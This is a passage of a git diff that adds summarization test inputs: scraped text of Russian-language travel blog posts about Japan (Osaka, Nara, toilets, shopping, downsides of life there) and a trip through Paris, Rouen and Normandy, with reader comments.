ходили сюда каждый день, чтобы перепробовать все виды крабов, гребешков, лососей и японских коров, которые только влезали в нас. Мясов дают Завтрак богов! Комментировать Войти и написать 🇺🇸 4. America Mura — Американская деревня Один из примечательных районов Осаки так и называется — американская деревня. Она так называется потому что с 1970-х, когда Япония начала немного восстанавливаться после Второй Мировой, здесь был район молодых и свободных хипстеров, куда сюда хлынуло очень много товаров из США. America Mura — одно из немногих мест в Японии, где их любовь к самоизоляции немного дала трещину. Тут много вывесок на английском, американских машин, которые чудом помещаются в узкие японские улочки, есть даже кофейни. Очень забавный микс культур, люблю такое. 2 комментария 23 Konstantin Marinenkov Ой, а фоточек нету? :( 75 Павел Щорс Острая фотографическая недостаточность Войти и написать 🦌 5. Nara — деревня с оленями на улицах В получасе езды от Осаки находится деревня Nara, знаменитая тем, что там по улицам ходят олени. Их много, больше тысячи, и они сконцентрированы вокруг большого парка в центре. Олени наглые, могут укусить вас за жопу. Особенно если вы держите руки в карманах, тогда они думают, что вы прячете там еду. Нара заботится о здоровье оленей, так что всем подряд кормить их нельзя, а нужно покупать специальные хрустяшки на улице у бабушек за 200 иен. Олени их обожают. Вот прям такие ходят везде Олень пытается доебать Настю отдать ему кофе У вас может возникнуть резонный вопрос: если в Наре олени ходят везде по улицам, то как их не сбивают машины? В чем же секретный японский секрет? Открою вам тайну. ИХ СБИВАЮТ))0) В общем-то всё. 2 комментария 36 Anna Belkina секрет номер два: эти хрустяшки очень вкусные, они из гречишной муки, прямо офигенные. у меня оленям обычно достается только полпачки :) 11 Евгений Нара – далеко не деревня, овер 300к жителей. Олсо, когда-то древняя столица Японии Войти и написать 🚽🚽🚽 Бонус трек: Японские туалеты Ну какой же пост про Японию без обзора кибер-унитазов. Про японские кибер-унитазы знают даже те, кто никогда не собирался в Японию. По функциональному строению они точно такие же как европейские — бачок и сральник с водичкой, но японцы решили в них добавить немного ЖоПнОгО КиБеРпАнКа. Они решили подсоединить их к розетке и напичкать дополнительными функциями. Теперь это не просто одна кнопка для слива, а целый набор разных функций, включая: подогрев жопки, кнопки для омывания «задней части» и «передней части» (для девочек) с настройкой мощности, сушки ягодиц сжатым воздухом и даже специального краника сверху бачка, чтобы ополоснуть руки после проделанной работы. Пульт управления срательным кораблём. Все функции вы даже не сразу поймёте, но самые важные отмечены пиктограммами Когда смываешь, вода в бачок заливается не внутрь по шлангу, а льется через специальный краник. То есть у тебя есть секунд 20, чтобы ополоснуть руки, пока бачок наливается. Потом эта вода используется для слива Кибер-унитазы на самом деле стоят недорого. Это всего-лишь специальный стульчак, который можно купить в любом магазине электроники, и обойдётся это в ~50 евро за простую модель или в ~500 евро за продвинутую с искусственным интеллектом. Просто кроме залива и слива воды вам в туалете нужна еще и розетка (которой в Европах обычно нет) и вы готовы! Кибер-унитазы стоят не в каждой квартире, но примерно в 80% они есть. Даже туалеты на станциях метро оборудованы именно ими. В одном из наших AirBnb я записал для вас великолепное ознакомительное видео с обзором разных кнопок (со звуком). Почему это киберпанк? Да потому что самый показательный пример фразы high tech low life. Дальше будет больно. Можете пропустить. Японцы изобрели свои кибер-унитазы не только потому что они такие прогрессивные и живут в 3023 году. Одновременно с этим они еще и живут в 1923 году, их дома построены из картона, а туалет обычно примыкает к внешней стене, там постоянно открыто окно для вентиляции и нет никакого отопления. Зимой в нём реально может быть +3 градуса. Данную проблему японцы так и не решили, потому обошли её по-другому: стали ставить в туалеты специальные тёплые тапочки и подогревать стульчаки, чтобы хоть как-то побороть ДИСКОМФОРТ(с). Но говорить об этом в интернете не стоит, так что давайте просто порадуемся высоким технологиям. 3 комментария 9 Sam Spiridonov В Москве такими сральниками оборудованы все номера гостиницы Лотте на Новинском бульваре. Причём открытые для посторонних (например, около стойки ресепшн или около конференц-зала) — тоже. Можете попробовать перед покупкой :) 14 Anton Liparin То есть в этой песне больше смысла чем казалось: https://youtu.be/sReGQj67HJU 5 burivuh26 А ещё в Москве такие туалеты в Еврейском музее и центре толерантности. Войти и написать Что покупать и везти из Японии? Очевидно, из Японии нужно везти статуэтки машущих лапой котов, модные палочки для суши и японские фонарики. Но вот мой личный субъективный список того, на что ещё стоит обратить внимание. 🔪 1. Ножи, конечно же Это банально, но даже в самых «японских» магазинах Европы нет такого богатства их выбора, как на задрипанном рынке в Киото или Осаке. Японцы действительно заморачиваются по разным видам материалов, заточке, рукояткам, весу ножа и прочим деталям. Впрочем, от них именно этого и ожидаешь. Нам выложили на деревяшку несколько штук, дали все подержать, и в итоге мы выбрали себе новый шефский нож из сплава чугуна и стали. Японская девочка потом еще очень долго объясняла нам как правильно его мыть и потом протирать от влаги, иначе он моментально заржавеет. Но есть варианты и попроще, из старой доброй нержавейки. Цены как обычно от нуля до бесконечности, но хорошие варианты в принципе можно найти за 70-150 евро, что очень неплохо, в Европе такое стоит намного дороже. ㊙️ Отдельным кеком стало то, что прям в том же магазине нам предложили «набить инициалы или какое-то личное послание» на наш новый нож. Конечно же, только на японском. Потому мы быстро нашли онайн-транслитератор с латиницы на катакану и показали прям с экрана. Профессиональные ножи даже специально продаются тупыми, потому что затачиваются специальным мастером специально под тебя Девочка пишет иероглифы, чтобы парень с молоточком справа нам их набил. До этого она минут 15 объясняла как ухаживать за ножом и любить его 1 комментарий 3 Dmitry Gorbachev А камни для заточки? Алмазные плиты? Войти и написать 🏕️ 2. Охуенный микро-экип для кемпинга Японцы обожают кемпинг, но места под оборудование у них нет. Потому из каждого кемпинг-гаджета они выжимают самый возможный максимум. Японские спальники всегда самые легкие и тёплые, японские котелки вкладываются друг в друга как матрешки, образуя целый набор для ужина на пять персон, а японские дождевики будут помещаться в карман, но при этом переживут тайфун. Но фишка японского экипа не только в размерах. Японцы пиздец заморачиваются по деталям. Ярчайший пример — когда они делают термос, они не только тестируют как долго он будет держать ваш чай тёплым, они заморачиваются даже по ЗВУКУ, с которым этот термос будет открываться. Если он неприятно скрипит резинкой — ЭТО ДИСКОМФОРТ. А вы помните про дискомфорт :) Потому японские кемпинг гаджеты от Snow Peak, Nanga или Montbell приятно даже просто крутить в руках. Это вам не какая-нибудь Patagonia, где 90% цены — это маркетинг для хипстеров. Обязательно зайдите в кемпинг-магазин. 2 комментария 0 АрасланоВ) Евгений Что это за модель Тайоны на видео? 0 Игнат Кекер АрасланоВ) Евгений, https://www.drom.ru/catalog/toyota/hiace/g_2010_4937/ Войти и написать 🕹️ 3. Любые гаджеты Приехать из Японии без Nintendo Switch — это нарушение всех международных конвенций по здравому смыслу. Во-первых, всё электронное стоит в Японии тупо дешевле. Мы даже купили здесь Apple Watch Ultra за 800 евро, когда в Европе они стоят 1000. Тупо 200 евро отбилось. Во-вторых, такс-фри. Если вы иностранец — его тут сразу вычитают из цены товара прям в магазине и ничего не надо возвращать «потом». Просто покажите паспорт на кассе. ? Работает не везде. Apple вот нам отказал, мрази. В-третьих, оказавшись в каком-нибудь гипермаркете электроники типа Bic Camera, вы почувствуете себя ребёнком, который не знает для чего нужна и половина из представленных на полках гаджетов. Например, я находил мобильную посудомойку на три тарелки с питанием от бутылки воды. Главное, что стоит иметь в виду — аккуратнее с теми девайсами, которые питаются от розетки. В Японии сеть на 110 вольт, так что если вас тоже посетила гениальная идея купить стульчак для туалета с подогревом и привезти в Европу, то он скорее всего не переживет 220 вольт, раскалится в два раза больше и просто перегорит. Тру стори, уже бывали случаи. Но всё, что питается от условного USB или 12 вольт можно смело брать. Японский шоппинг выглядит местами очень жестко, держитесь. У них считается, что чем больше выбора — тем лучше. С непривычки вполне может разболеться голова 1 комментарий 39 Евгений Моей главной ошибкой при переезде в Японию было продать PS5. Был уверен, что ехать в Токио со своей плейстешн – это как ехать в Тулу со своим самоваром. О боги, как же я бы наивен! Плейстейшн здесь в ещё большем дефиците Войти и написать 👘 4. Кимоно В каждом японском городе есть много магазинов с настоящими б/ушными кимоно десятков разных видов. Да, я тоже никогда не носил кимоно, но тут даже мне понравилась парочка. Есть как суровые кимоно из толстенной шерсти, в которых можно хоть против медведя идти, так и ультра-мягкие шелковые халатики для девочек. Плюс, иногда можно найти киберпанковые кимоно для вечеринок или поездок на Burning Man. Всё это по ценам типа 200 иен (это меньше двух евро!) за обычные или 2000 иен (14 евро) за прям классные. Мы взяли пять. Не знаю зачем. 4 комментария 12 Михаил Кесельман В Тбилиси есть трушный японский секонд и там тож куча кимано - всё идет на вес, т.е. ты можешь купить пару кг кимано, кек. А вообще хотел написать что понимаю тебя, сам увез с собой из Тбилиси штук 8кг кимано, хз зачем, а теперь вот вожу с собой только одно 4 Alexander Eskin Михаил Кесельман, где, где в Тбилиси? *записывает? 0 Степан Кузнецов Михаил Кесельман, нужны контакты! 3 Михаил Кесельман На дезертирском рынке теперь находятся, где-то вот тут - https://goo.gl/maps/kkuSJcJUisYcah9Q9 Войти и написать 🛠️ 5. Инструменты Если вы, как и я, состоите в фан-клубе электроинструментов Makita, здравствуйте. Сейчас я вам покажу кое-что, что перевернёт ваш мир. Да, это разноцветные макиты! В Японии они бывают не только зелёные! Теперь вы можете купить себе розовенький шуруповёрт и все поцаны будут вам завидовать. Кроме шуток, в Японии еще отличные инструменты для вудворкинга (они им славятся), для обработки кожи/ткани, прикольные маленькие наборы отвёрток, и вообще много всего необычного. Не забудьте сложить их в багаж, а то в аэропорту отберут :) 1 комментарий 6 Влад Грачев Вёз из Японии кожу, химию для неё, инструменты по коже. И японскую пилу, лол. И хигоноками, после того, как предыдущий свой как-то умудрился пролюбить при переезде. Войти и написать 💶 6. 100-иенники, всратые сладости, матча Обязательно загляните в местные «100-иенники», аналоги наших магазинов «фикс прайс». Daiso или Don Quixote — самые популярные. Цены там, конечно, давно не 100 иен, но их так называют по старой привычке. Зато там всегда можно найти кучу всякого интересного и нетипичного стаффа для дома. Типа собираторов катышков для стиральной машинки, носков с электроподогревом, всратых канцтоваров или хитровыебанных губок для мытья посуды. Отдельного упоминания достоит BOOKOFF — крупнейшая японская сеть б/у товаров. Там можно найти старых консолей или урвать даже электрогитару за треть цены. Ну и книжки, конечно. Как сувениры друзьям. 1 комментарий 5 aTan Магазины "100 йен", где цены именно 100 йен действительно есть, например сеть https://www.cando-web.co.jp. С очень, очень широким выбором и нормальным качеством (а уж учитывая, что в большинстве автоматов бутылка кофе стоит дороже, то качество вообще топ). Войти и написать Минусы и проблемы Японии Или почему я бы здесь не выжил Весь пост я рассказываю про Японию как про какую-то волшебную страну, где всё идеально. Красивые люди вокруг, все помогают, везде чисто, тротуар хоть лизать можно, кошкодевочки прямо по улицам ходят. Не мне, ебаному гайдзину, критиковать чужой быт, но ради объективности стоит рассказать почему хоть я и абсолютно кайфовал от этой поездки, жить бы я тут не смог вообще. 1 комментарий 11 Vitali Paliakou Работать c/на японскую компанию — это ад :) Войти и написать 📦 Проблема 1. Очень. Маленькие. Квартиры. Я даже не представлял насколько, пока сам в этом не пожил. Типичная японская квартира по размерам примерно как комната в отеле. И туда упихано всё — кухня, душ, туалет, гостиная и спальня. Часто какие-то из этих помещений просто трансформируются друг в друга. Мне, как человеку ростом 1.90, было особенно тяжело. Местами приходилось наклоняться, чтобы пройти в дверь. И это не «временная квартирка на 24 квадрата пока не найду постоянную», нет. Реально большинство квартир в Японии именно такие, здесь нет больших квартир вообще. Даже если ты богатый айтишник, твоя квартира всё равно будет маленькой, просто может быть чуть более новой, а окно будет выходить хотя бы не в стену соседнего здания (как обычно). Это уже люкс. Если окна в квартире два — это супер-люкс. Фотка одной из квартир, где мы жили Мы снимали несколько AirBnB и один раз были в гостях у чувака, живущего в Токио. Он подтвердил, всё так и есть. Тут слишком много человек и слишком маленький остров. Кроме этого, японцы строят дома очень простыми и часто вообще из дерева. Потому что много землетрясений и так дешевле восстанавливать. Потому зимой из всех щелей дует так, что носки с электроподогревом реально могут быть опцией. Отопление здесь всё через кондиционеры. Никакой централизации при такой сейсмической активности и быть не может. Но ладно, к этому я привык даже в Европах и в целом при таком количестве АЭС отапливаться электричеством имеет смысл (как во Франции). Зато плесени нет :) 4 комментария 19 ilka Блин, долго думал писать или нет, но все таки напишу - не очень согласен с тезисом, что все квартиры маленькие. Кто ищет - тот всегда найдет. Есть отличное государственное жилье в аренду (UR), например, специально для молодых семей и пенсионеров (и еще иностранцев, кстати). У них хороший метраж, их часто реновируют, и местоположение абсолютно разное. Я приведу пример своей прошлой квартиры - мы снимали в 15 минутах езды от Токио стейшн (Nishi Kasai station), 48квм, до станции 3 минуты и это стоило 108000 йен. Конечно, если хочется жить прямо в центре города сложно найти большую квартиру задешево - а где просто? Плюс многие японцы, когда обзаводятся семьей берут домик в ипотеку. Они тоже небольшие, да, но явно не 24 квм. А вот про масштаб - в целом согласен, иногда не пролезаешь в проходы, немного надоедает компактность помещения в кафе. И я при этом ниже, 182 см. 6 Сергей Филин Я слышал, что это проблема именно Токио, а не всей Японии. Говорят, что вполне реально снимать в пригороде большой дом или квартиру по адекватной цене. Плотность населения в Японии 5 aTan Как и везде, все сильно зависит от дохода и предпочтений. Если в пределах Яманоте (круговой линии метро), то квартира влетит в копеечку. В хорошем доме, с нормальной площадью (от 40 м2) будет 150-200к йен, что по нынешнему курсу 1050-1410 евро. Если же за пределами в Яманоте в Токио - то уже будет 100-150к йен. В соседних городах, которые по сути примыкают сразу к Токио и до его центра все равно менее часа добиратся, то цены на хорошую квартиру будут уже в районе 100к (~700 евро). Из знакомых, никто в 20м2 не юрится. В общем проблема конечно есть, но несколько преувеличина. К тому же даже двух-этажные дома, сейчас активно сносят и перестраивают. 10 Влад Грачев Это всё ложь и провокация. Япония — как Россия. Всё сосредоточено в Москве, там многие живут в конурах, но при этом ты можешь ехать по трассе на машине 10 часов и не встретить ни одного человека. Можно в соседнюю префектуру отправиться, если не надо часто бывать в Токио. Там будут и квартиры и дома побольше, за те же деньги. Кто-то снимает/покупает жильё в той же Йокогаме — это получается примерно как сейчас переехать из Москвы в Одинцово — иногда даже проще добираться в центр, чем из отдалённых районов Москвы/Токио. Войти и написать Парковки тоже непростые, конечно В некоторых прихожих есть фонарик, который автоматически включается когда его берешь. Догадайтесь зачем он нужен. Ответ будет в конце поста 🤐 Проблема 2. Закрытое иерархическое общество Фраза про «ты там никогда не будешь своим», которую любят использовать для унижения эмигрантов, в Японии действительно работает и возведена в абсолют. Личная инициатива не запрещена, но её просто никто не поймёт. Так и будешь о стенку биться. Карьерный рост никак не связан с тем, как ты сильно ебошишь или насколько у тебя классные идеи — он выдаётся просто за много лет выполнения приказов начальника, как в армии. При этом даже если ты делаешь абсолютное говно, твой начальник никогда не скажет тебе об этом. В Японии не умеют как принимать ошибки, так и указывать на них, ведь ты можешь пойти и сделать сеппуку, не выдержав такого унижения. Твой начальник будет молча годами делать твою жизнь невыносимой пока ты сам не поймешь, что он от тебя хотел. Малый бизнес и предпринимательство? Пфф, извольте, здесь мы не говорим это слово. «Малый бизнес» в Японии — это когда твой дед 180 лет назад открыл раменную, а ты с детства моешь в ней полы, чтобы когда-нибудь унаследовать. Те редкие японцы, которые и правда хотят «делать своё», просто переезжают через океан в какие-нибудь Штаты. Плюс, как вы уже поняли, в Японии не то чтобы много денег. Тут зарплаты ниже, чем в Европе и никогда не было культа «успешного успеха» как в тех же США. Подчинение иерархии и правилам — основа японского общества. В школе все обязаны носить одинаковую форму, откуда кстати и пошел знаменитый стиль «японской школьницы». На работе приходить и уходить в одинаковое время. Жить одинаковую жизнь. Мы встречались минимум с тремя людьми, которые тут живут лет по 10, учили японский и востоковедение с ранних лет, и говорят на нём без запинок. Они всё равно гайдзины. Все жалуются на одинаковые проблемы с социализацией, которые длятся много лет, от чего понаехи начинают ехать кукухой и становиться «странненькими» даже для других экспатов, потому коммьюнити никакого не образуют. Такие дела. Правила поведения в метро. Моё любимое, конечно, «запрещено совершать действия, которые могут развратить общественную мораль» 1 комментарий 12 Влад Грачев Нельзя назвать это необоснованным, но сейчас много примеров, являющихся исключениями из этих правил. Гайдзином будешь, да. Но делать своё можно, и люди делают. Открывают магазинчики, бары, производства, etc. Про личную инициативу и рост — тоже есть примеры обратного. Когда российские погромисты устраиваются в чисто японские компании, они хоть и погружаются в пучину японского корпоративного безумия (даже в ИТ, да), но имеют шансы быстро вырасти как раз из-за того, что в отличие от местных сотрудников они не стесняются спорить и отстаивать свою точку зрения. Эдакие сумрачные гении на фоне прочих. Но шанс нарваться на излишне традиционного начальника всё ещё есть, конечно. Хотя некоторые наоборот радостно погружаются в пучину этого безумия, отбрасывая всё человеческое и эволюционируя в типичного саларимана. Войти и написать Проблема 3. Изолированность от мира Прошлый пункт был про закрытость «на вход», а этот скорее про закрытость «наружу». Япония много веков физически огораживалась от остального мира. Иностранным торговым судам разрешали заходить только в определённые порты, а морякам нельзя было оставаться там надолго или покидать город. Да, именно это и позволило им сохранить всю свою культурную аутентичность и избежать своего аналога опиумных войн, которые захлестнули Китай из-за грязных и алчных имперцев-европейцев. Многие восхищающие нас вещи в Японии непосредственно связаны с её многовековой закрытостью — японцы просто изобретали всё сами, им не у кого было даже подсмотреть. Однако, если вы, как и я, цените разнообразие — это будет большой проблемой. Япония яркая и охуенная, но даже самый яркий город быстро наскучивает, если он одинаковый. И вот некоторая одинаковость и монокультурность в Японии все-таки ощущается. Японцев же, наоборот, это полностью устраивает. Они изобрели себе идеальную еду и идеальную жизнь, а значит всё «другое» — это не идеальное. А значит ДИСКОМФОРТ, да. Комментировать Войти и написать Даже разметку они как будто заново изобретали Заключение Обратный культурный шок Дорога обратно у нас тоже заняла больше двух суток, потому что рейсы постоянно опаздывали, переносили, отменяли, потом снова переносили. Но именно это позволило очень быстро акклиматизироваться обратно и получить свою долю «обратного культурного шока». За две недели в Японии ты не замечаешь как привыкаешь к вот этому их безусловному уважению к личности, постоянных поклонах и конечно же запредельному уровню сервиса, когда к тебе наконец-то относятся как к человеку, подсказывают, прощают ошибки, ведут за ручку и стараются помочь до конца. И не потому что они хотят чаевые, тут их вообще нет, а потому что так принято. Конечно же обратный культурный шок у тебя начинается сразу же по прилёту в Европу, когда уже в аэропорту на тебя могут наорать за незнание французского или молча разбросать все тщательно уложенные вещи из твоего чемодана во время очередного бессмысленного и пятого по счёту за сутки досмотра. Начинаешь понимать почему японцы не путешествуют. Для них реально весь остальной мир — грязные невежливые дикари, тихо презирающие всех вокруг и жаждущие доставлять друг другу только ДИСКОМФОРТ(тм). А это не по-японски. Ну а кланяться людям в ответ я продолжал еще где-то неделю. 2 комментария 36 Vitali Paliakou Прощать ошибки — это для гайдзинов, своих они готовы чморить только так. В целом в японской культуре травля — обычное дело 1 Andrey Я до сих пор, когда что-то даю другому человеку, протягиваю это двумя руками Войти и написать Ответ на загадку про фонарик: ? он нужен, чтобы когда случится следующее землетрясение и вся энергосеть города снова будет уничтожена — ты смог выйти на улицу, подсвечивая им себе путь. В Японии это явление называется «ну, обычный вторник». Комментировать Войти и написать Держите напоследок яичек с выставки от teamLab. Их инсталляции очень крутые +============== diff --git a/tests/summarization/https___vas3k.blog_world_normandy_.txt b/tests/summarization/https___vas3k.blog_world_normandy_.txt new file mode 100644 index 0000000..52280cc --- /dev/null +++ b/tests/summarization/https___vas3k.blog_world_normandy_.txt @@ -0,0 +1,2 @@ +Сегодня будет старый добрый спокойный тревел-блог. Если вы приходите сюда только за драмами и моей диванной аналитикой — смело ждите следующего! Франция была последней большой страной Европы, где я ни разу не был. Причина была проста — ориентируясь на свой прошлый опыт, я точно знал, что во Франции мне НЕ понравится. Да, я прекрасно понимаю, что строить ожидания заранее — путь к провалу, но вот бывают в жизни такие места, где по всем косвенным признакам ты прям сразу видишь — ну не моё. Для кого-то заебись, а мне будет сложно, я буду ходить-бомбить на каждом углу, не хочу. Но попробовать Францию очень хотелось, поэтому нужны были хорошие проводники. Люди, которые любят Францию и смогут мне её правильно показать. Таких тревел-баддис я неспешно искал, наверное, последние лет пять. В моём технарском окружении Франция как-то не очень популярна :) Вот есть какое-то необъяснимое представление в головах айтишников, что Франция — такая страна для чувственных дам с сумочками Dior, а чумазые инженеры должны ехать в Германию и постоянно работать, пока не свалятся нахер замертво прямо на станции метро. И вот такие друзья наконец-то нашлись! Тёплой ковидной осенью 2021-го мы запланировали полететь в Париж, а из него прокатиться по северным регионам. Посмотреть высадку в Нормандии, узнать где сожгли Жанну д'Aрк, прокатиться по Дороге Сидра, заночевать в замке на камне посреди моря и всё такое. Получилось заебись! Сегодня расскажу, чтобы вы тоже смогли так. Комментировать Войти и написать Карта маршрута Париж Под крики хейтеров «рррря, пост про нормандию, а тут кокой-то пориш» мы приземляемся в аэропорт Шарля Де Голя, чтобы провести там пару дней культурной декомпрессии, попривыкнуть, да и просто покушоть. Простите, да, я живу в Германии, потому езжу в соседние страны жрать. Немецкая еда безвкусная и утилитарная, а в высокую кухню тут вообще не умеют. «В каком это смысле кто-то должен готовить тебе твою еду? Это же эксплуатация труда! Литералли рабство! В нОрМаЛьНоЙ стране каждый разогревает себе сосиски сам!» — примерно такими словами меня крыла однажды левая девочка в Берлине. Так что да, я езжу к соседям за едой. Именно через еду я переоткрываю для себя заново ту же Италию, о которой еще пять лет назад отзывался очень нелицеприятно. Глупый был. ? Ведь Турция оказалась намного хуже! :D Французы действительно умеют в кухню. Фейерверков как в мультике Рататуй пока не случалось, но даже привычные блюда раз за разом удивляли нежностью и соусами. Спишем на то, что это мы еще в первый раз! В той же Италии места, где от блюд возникают фейерверки, мы начали находить лишь приезд на третий. Так что за еду ставим ожидаемый плюсик. А вот где Франция смело побила все рекорды — так это цены. На третий день хотелось выть, глядя на циферки в пуш-уведомлениях. На пятый день болевой порог просто отключается, чтобы организм хоть как-то мог выжить. Сраный бургер за €24? Дайте два! Вино «местное подешевле» за €9.50 за бокал? Да графинчик сразу, пожалуйста. Раньше я правда считал, что самый дорогой город Европы — это Лондон. У меня даже была своя шуточная шкала, на которой Лондон был максимумом — 1.0, а какая-нибудь Босния её минимумом, условно 0.1. Польша тогда по ценам была бы где-то на 0.3, Литва на 0.4, Германия на 0.7, а Швеция или Дания на все 0.9. Всё это я прикидывал исключительно ради лулзов, никаких реальных данных и ссылок на пабмед тут щас не будет. Так вот Франция стала первой страной, где этот показатель нарушил стройные законы моей вымышленной физики и установился где-то на 1.2. Было. Очень. Больно. Во Францию хорошо ездить тем, кто платит за неё не своими деньгами А вот к свежим багетам привыкаешь. Потом по возвращению такой сидишь каждое утро дома и «всмыслий я не могу пойти купить багет на завтрак, зачем я вообще живу, если не за этим!» Нравятся светофоры, у которых красный свет виден с двух сторон Нравится общий кривой и милый стиль, на которой немец бы уже вызвал полицию и санэпидемстанцию Вторая боль — отопление и горячая вода. Я понимаю, винить Европу за такое как бить лежачего — в Германии цена на газ скачет как биткоин, в Литве нас лендлорд наругал, что мы посмели поставить термостат выше 18 градусов, в Бриташке до сих пор два крана везде, никак не могут изобрести сраный смеситель. Но во Франции проблема прям систематична. С отоплением еще можно понять, Франция — единственная страна Европы, которая живёт на дешевом электричестве от своих АЭС и довольна этим, пока все остальные закупают постоянно дорожающий газ у той же России и срутся за Северный Поток 2. Для французов электрические батареи (по факту обогреватели, прикрученные к стенам) — это дешево и удобно. Ок, тут я с вами ребята, немцы могут вам лишь завидовать и удивляться, почему вы не строите миллион ЭкОЛоГиЧнЫх ветряков. Но вот с горячей водой просто боль. Даже в самых новых домах, где мы останавливались, стоит электрический бойлер, причём иногда один на весь дом. Так что вы соревнуетесь за горячую воду не только между собой, но и с соседями :D Получается очень иронично — вечером вы едите в ресторане ужин от шефа за €145 на человека, а утром решате кто будет мыться, а кому нормально повонять до завтра. Дух! Настоящей! Европы! УХ НАКОНЕЦ-ТО АЛЬФИФУ БАШНЮ ПОСОМТРЕЛ Ааа, чайка, съеби В остальном Париж хороший. Улицами мне чем-то напоминает ухоженный Лондон — такой же большой «взрослый» город, а не вот эти бесконечные «деревни-переростки», которыми выглядит остальные города и столицы Европы. Атмосферой же Франция мне почему-то показалась самой близкой по духу к какому-нибудь США из всех наших остальных Европ — такая же «правая», индивидуалистская, религиозная и сильная что-ли. С яйцами. L’œuf. Гайдов где и как нужно гулять по Парижу рисовать не буду. Меня до сих пор за путеводитель по Берлину все русские мигранты убить хотят. Где-то в интернете значит есть сайт, где им всё рассказывают «правильно» и «как нужно», но точно не мой :D Нам повезло поселиться где-то в районе Бастилии, так что Центр Помпиду с его офигенным стрит-артом был прям в пешей доступности НООО РЕДОРЬЯЯЯЯН, НООО ЖЕ НЕ РЕГРЕТАРЬЯЯЯЯН Сфотай как будта я в ПОРИЖЕ)0))) Французы, кстати, изобрели круговое движение, но на самом главном круге страны не осилили ни в разметку, ни даже объявить его главной дорогой (это единственная страна Европы, где такой цирк!). Потому под аркой внизу творится полнейший мрак Конечно же хотелось в глаза посмотреть тому мосту, который убил Принцессу Диану. И да, там до сих пор ограничение 80 и вон даже несколько погнутых столбиков. Кек! Самый «модный» район — Монмартр. Тут художники, романтика и можно красиво гулять Самый «немодный» (и интересный мне) — Сен-Дени. Хотя в тройку Бруклин-Хакни-Кройцберг ему еще далеко Мы же берём тачку и отправляемся катать на ней по Нормандии. К сожалению, SIXT нас наебал, потому что мы у них специально заказывали у них ПЕЖО (даже доплатили), чтобы гонять по Франции на всратой французской тачке, а по приезду нам дали какой-то Опель и развели руками. Я ведь специально хотел гонять именно на французской тачке! В них ведь всегда есть какая-то ёбань — то руль крутится отдельно от рулевой колонки, то ручник прячется где-то под пассажирским сиденьем, то поворотники на магнитоле. Я обожаю такое говно! А тут опять опель. Возмутительно. Ладно. Погнали в Руан. 6 комментариев 5 Ilya Lazarev Опель теперь почти француз(Groupe PSA (Stellantis)). 4 Валерий Симонов Слишком много цитат про Францию из Гран тура! :) 14 Artem Krasotin В Париже было очень весело ездить за рулем. Где-то через полчаса после въезда в город включился режим "новосибирский водитель" и я начал ездить как ровня местным: нагло лезть, вращать глазами, махать из окна конечностями. 0 HesherBomBom Ilya Lazarev, но салон по-немецки скучный, так что нещитово 0 Oleksandr Martynenko HesherBomBom, да интерьер слишком мрачный, но это же единственное, что там от Опеля и осталось. Все остальное внутри и даже немного снаружи - это Peugeot 3008. 2 Александр Волков Коково там, в Сен-Дени и рядом с Северным и Восточным вокзалами? Устал уже от одинаковых статей копирайтеров, что там маленькая африка-турция, убьют и на ремни порежут. А то может там как в Нск на пл.Маркса, а пугают, чтобы все селились в отелях подороже в центре Войти и написать Руан Город в полутора часах езды от Парижа, историческая столица Нормандии. Причём настолько историческая, что когда наши предки еще голыми меж берёз бегали во времена крещения Руси, тут уже строили первый собор. Примечателен Руан для нас двумя вещами. Первая — там сожгли Жанну д'Арк. Вторая — там не сожгли Нотр-Дам. ? Мой лучший панчлайн за последние полгода! Руанский Нотр-Дам когда-то был даже самым высоким зданием в мире, пока немцы не достроили свой собор в Кёльне, который стал еще выше. Потом они посмотрели, подумали, и ебанули еще более высокий собор в Ульме. Так, чисто на всякий случай. Конкуренция за шпили была большая в те времена. Ульмский собор, который мы тоже недавно проезжали на Бусе, по пути из Берлина в Швейцарию, так до сих пор и остается самой высокой церковью в мире. Но Руанский держится в топ-5 этого чарта готических соборов. Несгоревший Нотр-Дам Собор и правда охуенный, даже для моего пресытившегося глаза главного эксперта по шпилям. На росписи на входной группе я залипал минут пять. Рекомендую. В нашем ковидном ноябре там была лишь одна группка туристов, так что нам удалось всё тщательно пощупать. Вот это детализация была у ребят в средние века! Никакой Unreal Engine не потянет! Нужно лишь правильно угадать со временем: во Франции все заведения работают по исторически сложившемуся ебанутому расписанию — собор открывается в 14:00, например, а закрывается в 19:00. Рестораны же наоборот — работают утром до 14:00, потом закрываются, а вечером снова открываются в 19:00 на ужин. Не успел пообедать — страдай. Или иди в макдак. Или в собор. Вот для объяснения такой херни нам и нужны были хорошие тревел-баддис. Без них я бы точно уже плюнул и полетел в Чехию жрать свои кнедлики. Хотя иногда смешные фейлы все-таки случались, например, когда мне на десерт принесли блинчик, а он горит! Реально пожар прям! Я конечно же героически всё затушил, а мне говорят херли ты делаешь, там ликер 40%, вот теперь пей свой блин. Так я пил алкогольный блинчик. Хорошо хоть у нас было несколько водителей в этом трипе, мы даже до моря еще не доехали! 💡 Памятка для невежд типа меня: собор называется Нотр-Дамом, когда он построен в честь Богоматери (мамы Иисуса). Соборы так же могут строить и для других ребят — во славу Бога или Христа. «Собором» же в целом называется главный храм любого города — собор может быть только один, а храмов много. Словом «церковь», «кирха» или «church» может называться в принципе любая религиозная постройка. Да, я тоже ничего не понимаю в религии, потому специально расспрашивал людей об этих различиях. 2 комментария 0 Ihar Zharkouski И именно потому, что это не самое популярное явление, каждый второй собор в центральной Европе - «Мариацкий». 1 mcornholio Спасибо за памятку! Войти и написать Abbaye de Jumièges Рядом с Руаном есть еще прикольное разрушенное аббатство. По сути руины Нотр-Дама. Вообще этих замков и аббатств по Франции столько, что ненароком просто натыкаешься на них по дороге в магазин за винишком. Но в этом мы задонатили на реставрацию и погуляли. Комментировать Войти и написать Этрета → Онфлёр Маленькая прибрежная деревушка Étretat находится в 200+ км от Парижа. Сам Клод Моне (который не Мане) обожал рисовать в своём инстаграме местные скалы и закаты. Тут вот так 👇 Фотка конечно же не моя, а некоего месье Gautier Salles под открытой лицензией, у меня самого и дрона-то нет! Однако не ведитесь на рассказы про «уютность» из путеводителей. Этрета — очень захайпованное место. Как Юрмала в Латвии. Если во времена Моне сюда и ездили на выходные из Парижа чтобы почиллить у моря, то сейчас это чисто такая туристическая Ялта. — Вот тут у нас гора чтобы залезть, вот тут вторая гора, чтобы смотреть на первую, тут вот рыбов дают, а вот там новый парк открыли, тааакой красивый (нет). Мы поначалу думали тут и заночуем, ведь ночью хайкать до черного пляжа нет смысла (он же черный!). Но когда мы обошли весь город дважды по кругу, поняли, что в нём вообще ничего не работает — ни рестораны, ни магазины, одно лишь местное казино было открыто, предлагая нам кебаб и рулетку. Пусто 